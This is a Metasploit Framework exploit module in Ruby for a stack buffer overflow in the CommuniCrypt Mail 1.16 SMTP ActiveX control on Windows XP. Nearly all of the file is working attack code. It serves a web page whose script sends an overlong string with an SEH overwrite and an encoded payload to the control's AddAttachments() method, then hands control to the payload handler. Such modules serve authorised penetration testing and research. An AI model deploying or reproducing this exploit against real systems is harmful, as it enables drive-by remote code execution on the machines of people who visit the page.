##
# $Id: communicrypt_mail_activex.rb 9933 2010-07-26 19:30:02Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'CommuniCrypt Mail 1.16 SMTP ActiveX Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the ANSMTP.dll/AOSMTP.dll
				ActiveX Control provided by CommuniCrypt Mail 1.16.  By sending a overly
				long string to the "AddAttachments()" method, an attacker may be able to
				execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Lincoln',  # Original exploit author
					'dookie'    # MSF module author
				],
			'Version'        => '$Revision: 9933 $',
			'References'     =>
				[
					[ 'OSVDB', '64839' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/12663' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'           => 1000,
					'BadChars'        => "\x00\x09\x0a\x0d'\\",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP Universal', { 'Offset' => 284, 'Ret' => 0x1001e41c } ], #p/p/r in AOSMTP.dll
				],
			'DisclosureDate' => 'May 19 2010',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname   = rand_text_alpha(rand(100) + 1)
		strname = rand_text_alpha(rand(100) + 1)

		filler  = rand_text_alpha(target['Offset'])
		seh     = generate_seh_payload(target.ret)
		trailer = rand_text_alpha(1000 - p.encoded.length)
		sploit  = filler + seh + p.encoded + trailer

		# Build out the message
		content = %Q|<html>
<object classid='clsid:F8D07B72-B4B4-46A0-ACC0-C771D4614B82' id='#{vname}'></object>
<script language='javascript'>
var #{vname} = document.getElementById('#{vname}');
var #{strname} = new String('#{sploit}');
#{vname}.AddAttachments(#{strname});
</script>
</html>
|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
